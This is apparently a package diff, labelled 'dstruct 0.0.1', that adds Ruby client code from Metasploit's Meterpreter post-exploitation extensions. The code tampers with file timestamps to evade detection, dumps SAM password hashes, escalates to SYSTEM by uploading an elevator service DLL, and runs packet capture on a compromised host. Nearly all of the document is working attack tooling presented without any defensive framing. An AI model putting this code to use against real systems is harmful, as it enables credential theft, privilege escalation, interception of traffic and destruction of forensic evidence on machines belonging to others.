dstruct 0.0.1

data/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb

@@ -0,0 +1,16 @@
+# -*- coding: binary -*-
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module NetworkPug
+
+TLV_TYPE_EXTENSION_NETWORKPUG	= 0
+TLV_TYPE_NETWORKPUG_INTERFACE	= TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_NETWORKPUG + TLV_EXTENSIONS + 1)
+TLV_TYPE_NETWORKPUG_FILTER	= TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_NETWORKPUG + TLV_EXTENSIONS + 2)
+
+end
+end
+end
+end
+end

data/lib/rex/post/meterpreter/extensions/priv/fs.rb

@@ -0,0 +1,118 @@
+# -*- coding: binary -*-
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Priv
+
+###
+#
+# This class provides an interface to modifying the file system to avoid
+# detection, such as by modifying extended file system attributes.
+#
+###
+class Fs
+
+  #
+  # Initializes the file system subsystem of the privilege escalation
+  # extension.
+  #
+  def initialize(client)
+    self.client = client
+  end
+
+  #
+  # Returns a hash of the Modified, Accessed, Created, and Entry Modified
+  # values for the specified file path.
+  #
+  def get_file_mace(file_path)
+    request = Packet.create_request('priv_fs_get_file_mace')
+
+    request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
+
+    response = client.send_request(request)
+
+    # Return the hash of times associated with the MACE values
+    begin
+      return {
+        'Modified'       => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_MODIFIED)),
+        'Accessed'       => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_ACCESSED)),
+        'Created'        => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_CREATED)),
+        'Entry Modified' => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_EMODIFIED))
+      }
+    rescue RangeError
+      raise RangeError, "Invalid MACE values"
+    end
+  end
+
+  #
+  # Sets the Modified, Accessed, Created, and Entry Modified attributes of
+  # the specified file path.  If a nil is supplied for a value, it will not
+  # be modified.  Otherwise, the times should be instances of the Time class.
+  #
+  def set_file_mace(file_path, modified = nil, accessed = nil, created = nil,
+    entry_modified = nil)
+    request = Packet.create_request('priv_fs_set_file_mace')
+
+    request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
+    request.add_tlv(TLV_TYPE_FS_FILE_MODIFIED, modified.to_i) if (modified)
+    request.add_tlv(TLV_TYPE_FS_FILE_ACCESSED, accessed.to_i) if (accessed)
+    request.add_tlv(TLV_TYPE_FS_FILE_CREATED, created.to_i) if (created)
+    request.add_tlv(TLV_TYPE_FS_FILE_EMODIFIED, entry_modified.to_i) if (entry_modified)
+
+    client.send_request(request)
+
+    true
+  end
+
+  #
+  # Sets the MACE attributes of the specified target_file_path to the MACE
+  # attributes of the source_file_path.
+  #
+  def set_file_mace_from_file(target_file_path, source_file_path)
+    request = Packet.create_request('priv_fs_set_file_mace_from_file')
+
+    request.add_tlv(TLV_TYPE_FS_FILE_PATH, target_file_path)
+    request.add_tlv(TLV_TYPE_FS_SRC_FILE_PATH, source_file_path)
+
+    client.send_request(request)
+
+    true
+  end
+
+  #
+  # Sets the MACE values to the minimum threshold that will cause them to not
+  # be displayed by most all products for a file.
+  #
+  def blank_file_mace(file_path)
+    request = Packet.create_request('priv_fs_blank_file_mace')
+
+    request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
+
+    client.send_request(request)
+
+    true
+  end
+
+  #
+  # Recursively set the MACE values to the minimum threshold for the supplied
+  # directory.
+  #
+  def blank_directory_mace(dir_path)
+    request = Packet.create_request('priv_fs_blank_directory_mace')
+
+    request.add_tlv(TLV_TYPE_FS_FILE_PATH, dir_path)
+
+    client.send_request(request)
+
+    true
+  end
+
+protected
+
+  attr_accessor :client # :nodoc:
+
+end
+
+end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/priv/passwd.rb

@@ -0,0 +1,61 @@
+# -*- coding: binary -*-
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Priv
+
+###
+#
+# This class wraps a SAM hash entry.
+#
+###
+class SamUser
+
+  #
+  # Initializes the class from a hash string like this:
+  #
+  # Administrator:500:aad3b435b51404eeaadfb435b51404ee:31d6cfe0d16de931b73c59d7e0c089c0:::
+  #
+  def initialize(hash_str)
+    self.user_name, self.user_id, self.lanman, self.ntlm = hash_str.split(/:/)
+
+    self.hash_string = hash_str
+  end
+
+  #
+  # Returns the hash string that was supplied to the constructor.
+  #
+  def to_s
+    hash_string
+  end
+
+  #
+  # The raw hash string that was passed to the class constructor.
+  #
+  attr_reader :hash_string
+  #
+  # The username from the SAM database entry.
+  #
+  attr_reader :user_name
+  #
+  # The user's unique identifier from the SAM database.
+  #
+  attr_reader :user_id
+  #
+  # The LM hash.
+  #
+  attr_reader :lanman
+  #
+  # The NTLM hash.
+  #
+  attr_reader :ntlm
+
+protected
+
+  attr_writer :hash_string, :user_name, :user_id, :lanman, :ntlm # :nodoc:
+
+end
+
+end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/priv/priv.rb

@@ -0,0 +1,109 @@
+# -*- coding: binary -*-
+
+require 'rex/post/meterpreter/extensions/priv/tlv'
+require 'rex/post/meterpreter/extensions/priv/passwd'
+require 'rex/post/meterpreter/extensions/priv/fs'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Priv
+
+###
+#
+# This meterpreter extensions a privilege escalation interface that is capable
+# of doing things like dumping password hashes and performing local
+# exploitation.
+#
+###
+class Priv < Extension
+
+  #
+  # Initializes the privilege escalationextension.
+  #
+  def initialize(client)
+    super(client, 'priv')
+
+    client.register_extension_aliases(
+      [
+        {
+          'name' => 'priv',
+          'ext'  => self
+        },
+      ])
+
+    # Initialize sub-classes
+    self.fs = Fs.new(client)
+  end
+
+  #
+  # Attempt to elevate the meterpreter to Local SYSTEM
+  #
+  def getsystem( technique=0 )
+    request = Packet.create_request( 'priv_elevate_getsystem' )
+
+    elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
+
+    elevator_path = MeterpreterBinaries.path('elevator', client.binary_suffix)
+
+    elevator_path = ::File.expand_path( elevator_path )
+
+    elevator_data = ""
+
+    ::File.open( elevator_path, "rb" ) { |f|
+      elevator_data += f.read( f.stat.size )
+    }
+
+    request.add_tlv( TLV_TYPE_ELEVATE_TECHNIQUE, technique )
+    request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_NAME, elevator_name )
+    request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_DLL, elevator_data )
+    request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_LENGTH, elevator_data.length )
+
+    # as some service routines can be slow we bump up the timeout to 90 seconds
+    response = client.send_request( request, 90 )
+
+    technique = response.get_tlv_value( TLV_TYPE_ELEVATE_TECHNIQUE )
+
+    if( response.result == 0 and technique != nil )
+      client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
+      client.sys.config.getprivs
+      if client.framework.db and client.framework.db.active
+        client.framework.db.report_note(
+          :host => client.sock.peerhost,
+          :workspace => client.framework.db.workspace,
+          :type => "meterpreter.getsystem",
+          :data => {:technique => technique}
+        ) rescue nil
+      end
+      return [ true, technique ]
+    end
+
+    return [ false, 0 ]
+  end
+
+  #
+  # Returns an array of SAM hashes from the remote machine.
+  #
+  def sam_hashes
+    # This can take a long long time for large domain controls, bump the timeout to one hour
+    response = client.send_request(Packet.create_request('priv_passwd_get_sam_hashes'), 3600)
+
+    response.get_tlv_value(TLV_TYPE_SAM_HASHES).split(/\n/).map { |hash|
+      SamUser.new(hash)
+    }
+  end
+
+  #
+  # Modifying privileged file system attributes.
+  #
+  attr_reader :fs
+
+protected
+
+  attr_writer :fs # :nodoc:
+
+end
+
+end; end; end; end; end
+

data/lib/rex/post/meterpreter/extensions/priv/tlv.rb

@@ -0,0 +1,29 @@
+# -*- coding: binary -*-
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Priv
+
+# Passwd
+TLV_TYPE_SAM_HASHES                 = TLV_META_TYPE_STRING | (TLV_EXTENSIONS +   1)
+
+# Fs
+TLV_TYPE_FS_FILE_MODIFIED           = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 100)
+TLV_TYPE_FS_FILE_ACCESSED           = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 101)
+TLV_TYPE_FS_FILE_CREATED            = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 102)
+TLV_TYPE_FS_FILE_EMODIFIED          = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 103)
+TLV_TYPE_FS_FILE_PATH               = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 110)
+TLV_TYPE_FS_SRC_FILE_PATH           = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 111)
+
+# Elevate
+TLV_TYPE_ELEVATE_TECHNIQUE          = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 200)
+TLV_TYPE_ELEVATE_SERVICE_NAME       = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 201)
+TLV_TYPE_ELEVATE_SERVICE_DLL        = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 202)
+TLV_TYPE_ELEVATE_SERVICE_LENGTH     = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 203)
+
+end
+end
+end
+end
+end

data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb

@@ -0,0 +1,117 @@
+# -*- coding: binary -*-
+
+require 'rex/post/meterpreter/extensions/sniffer/tlv'
+require 'rex/proto/smb/utils'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Sniffer
+
+###
+#
+# This meterpreter extension can be used to capture remote traffic
+#
+###
+class Sniffer < Extension
+
+
+  def initialize(client)
+    super(client, 'sniffer')
+
+    client.register_extension_aliases(
+      [
+        {
+          'name' => 'sniffer',
+          'ext'  => self
+        },
+      ])
+  end
+
+
+  # Enumerate the remote sniffable interfaces
+  def interfaces()
+    ifaces = []
+    ifacei = 0
+    request = Packet.create_request('sniffer_interfaces')
+    response = client.send_request(request)
+    response.each(TLV_TYPE_SNIFFER_INTERFACES) { |p|
+      vals  = p.tlvs.map{|x| x.value }
+      iface = { }
+      ikeys = %W{idx name description type mtu wireless usable dhcp}
+      ikeys.each_index { |i| iface[ikeys[i]] = vals[i] }
+      ifaces << iface
+    }
+    return ifaces
+  end
+
+  # Start a packet capture on an opened interface
+  def capture_start(intf,maxp=200000,filter="")
+    request = Packet.create_request('sniffer_capture_start')
+    request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
+    request.add_tlv(TLV_TYPE_SNIFFER_PACKET_COUNT, maxp.to_i)
+    request.add_tlv(TLV_TYPE_SNIFFER_ADDITIONAL_FILTER, filter) if filter.length > 0
+    response = client.send_request(request)
+  end
+
+  # Stop an active packet capture
+  def capture_stop(intf)
+    request = Packet.create_request('sniffer_capture_stop')
+    request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
+    response = client.send_request(request)
+    {
+      :packets => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET_COUNT),
+      :bytes   => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
+    }
+  end
+
+  # Retrieve stats about a current capture
+  def capture_stats(intf)
+    request = Packet.create_request('sniffer_capture_stats')
+    request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
+    response = client.send_request(request)
+    {
+      :packets => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET_COUNT),
+      :bytes   => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
+    }
+  end
+
+  # Release packets from a current capture
+  def capture_release(intf)
+    request = Packet.create_request('sniffer_capture_release')
+    request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
+    response = client.send_request(request)
+    {
+      :packets => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET_COUNT),
+      :bytes   => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
+    }
+  end
+
+  # Buffer the current capture to a readable buffer
+  def capture_dump(intf)
+    request = Packet.create_request('sniffer_capture_dump')
+    request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
+    response = client.send_request(request, 3600)
+    {
+      :packets => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET_COUNT),
+      :bytes   => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
+      :linktype => response.get_tlv_value(TLV_TYPE_SNIFFER_INTERFACE_ID) || 1,
+    }
+  end
+
+  # Retrieve the packet data for the specified capture
+  def capture_dump_read(intf, len=16384)
+    request = Packet.create_request('sniffer_capture_dump_read')
+    request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
+    request.add_tlv(TLV_TYPE_SNIFFER_BYTE_COUNT, len.to_i)
+    response = client.send_request(request, 3600)
+    {
+      :bytes   => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
+      :data    => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET)
+    }
+  end
+
+end
+
+end; end; end; end; end